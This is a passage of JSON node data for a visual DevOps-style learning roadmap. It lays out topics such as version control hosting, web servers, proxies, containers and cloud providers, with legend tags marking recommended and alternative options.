36\n      }\n    },\n    {\n      \"id\": \"LvhFmlxz5uIy7k_nzx2Bv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1347.5432844855075,\n        \"y\": 717.6852605686394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1347.5432844855075,\n        \"y\": 717.6852605686394\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uyDm1SpOQdpHjq9zBAdck\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1189.9080590588455,\n        \"y\": 717.6852605686394\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-JGe6oHUuaAdakoOjTV5u\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1189.9080590588455,\n        \"y\": 717.6852605686394\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h10BH3OybHcIN2iDTSGkn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1410,\n        \"y\": 909.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VCS Hosting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1410,\n        \"y\": 909.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ot9I_IHdnq2yAMffrSrbN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 856.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Z7SsBWgluZWr9iWb2e9XO\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 856.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oQIB0KE0BibjIYmxrpPZS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 909.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Z7SsBWgluZWr9iWb2e9XO\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 909.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z7SsBWgluZWr9iWb2e9XO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 962.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uyDm1SpOQdpHjq9zBAdck\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 962.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jCWrnQNgjHKyhzd9dwOHz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1976.1022029048668,\n        \"y\": 909.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is and how to setup X ?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1976.1022029048668,\n        \"y\": 909.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F93XnRj0BLswJkzyRggLS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Forward Proxy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1923.2980619884293,\n        \"y\": 716.4440052182314\n      },\n      \"width\": 164,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1923.2980619884293,\n        \"y\": 716.4440052182314\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f3tM2uo6LLSOmyeFfLc7h\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Firewall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2091.2980619884293,\n        \"y\": 769.4440052182314\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2091.2980619884293,\n        \"y\": 769.4440052182314\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ukOrSeyK1ElOt9tTjCkfO\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Nginx\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1024.7608674321284\n      },\n      \"width\": 105,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1024.7608674321284\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dF3otkMMN09tgCzci8Jyv\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Tomcat\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1077.7608674321284\n      },\n      \"width\": 105,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1077.7608674321284\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0_GMTcMeZv3A8dYkHRoW7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Apache\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2104.711689887789,\n        \"y\": 1077.7608674321284\n      },\n      \"width\": 122,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2104.711689887789,\n        \"y\": 1077.7608674321284\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"54UZNO2q8M5FiA_XbcU_D\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Caddy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2104.711689887789,\n        \"y\": 1024.7608674321284\n      },\n      \"width\": 122,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2104.711689887789,\n        \"y\": 1024.7608674321284\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5iJOE1QxMvf8BQ_8ssiI8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"IIS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1131.7608674321284\n      },\n      \"width\": 230,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1996.770175365231,\n        \"y\": 1131.7608674321284\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R4XSY4TSjU1M7cW66zUqJ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Caching Server\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1922.2980619884293,\n        \"y\": 769.4440052182314\n      },\n      \"width\": 165,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {},\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1922.2980619884293,\n        \"y\": 769.4440052182314\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 165,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i8Sd9maB_BeFurULrHXNq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Load Balancer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        },\n        \"oldId\": \"1SvpHVBCjgNDcc1NeNWaq\"\n      },\n      \"position\": {\n        \"x\": 1918.5487566038344,\n        \"y\": 822.4440052182314\n      },\n      \"width\": 328,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1918.5487566038344,\n        \"y\": 822.4440052182314\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eGF7iyigl57myx2ejpmNC\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Reverse Proxy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qYRJYIZsmf-inMqKECRkI\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2090.2980619884293,\n        \"y\": 716.4440052182314\n      },\n      \"width\": 158,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2090.2980619884293,\n        \"y\": 716.4440052182314\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CQhUflAcv1lhBnmDY0gaz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 909.037249249727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 909.037249249727\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"P0acFNZ413MSKElHqCxr3\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ctor79Vd7EXDMdrLyUcu_\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 772.1520720921645\n      },\n      \"width\": 137,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 772.1520720921645\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qYRJYIZsmf-inMqKECRkI\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"LXC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 825.1520720921645\n      },\n      \"width\": 137,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1664.8844464722006,\n        \"y\": 825.1520720921645\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2Wd9SlWGg6QtxgiUVLyZL\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 1280.9816693737002\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Providers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1584.5509969897735,\n        \"y\": 1280.9816693737002\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1ieK6B_oqW8qOC6bdmiJe\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ctor79Vd7EXDMdrLyUcu_\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1342\n      },\n      \"width\": 111,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1342\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ctor79Vd7EXDMdrLyUcu_\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Azure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qYRJYIZsmf-inMqKECRkI\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1714.1818168890086,\n        \"y\": 1342.307095657017\n      },\n      \"width\": 108,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1714.1818168890086,\n        \"y\": 1342.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zYrOxFQkl3KSe67fh3smD\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Google Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eJZdjheptmiwKsVokt7Io\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1395.307095657017\n      },\n      \"width\": 224,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1395.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-h-kNVDNzZYnQAR_4lfXc\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Digital Ocean\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eJZdjheptmiwKsVokt7Io\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1448.307095657017\n      },\n      \"width\": 224,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1448.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YUJf-6ccHvYjL_RzufQ-G\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Alibaba Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eJZdjheptmiwKsVokt7Io\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1501.307095657017\n      },\n      \"width\": 224,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1501.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I327qPYGMcdayRR5WT0Ek\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Hetzner\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eJZdjheptmiwKsVokt7Io\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1554.307095657017\n      },\n      \"width\": 110,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1554.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FaPf567JGRAg1MBlFj9Tk\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Heroku \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eJZdjheptmiwKsVokt7Io\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1607.307095657017\n      },\n      \"width\": 224,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1599.3528975202719,\n        \"y\": 1607.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eJZdjheptmiwKsVokt7Io\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Contabo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ctor79Vd7EXDMdrLyUcu_\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1714.1818168890086,\n        \"y\": 1554.307095657017\n      },\n      \"width\": 110,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1714.1818168890086,\n        \"y\": 1554.307095657017\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RDLmML_HS2c8J4D_U_KYe\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"FTP / SFTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          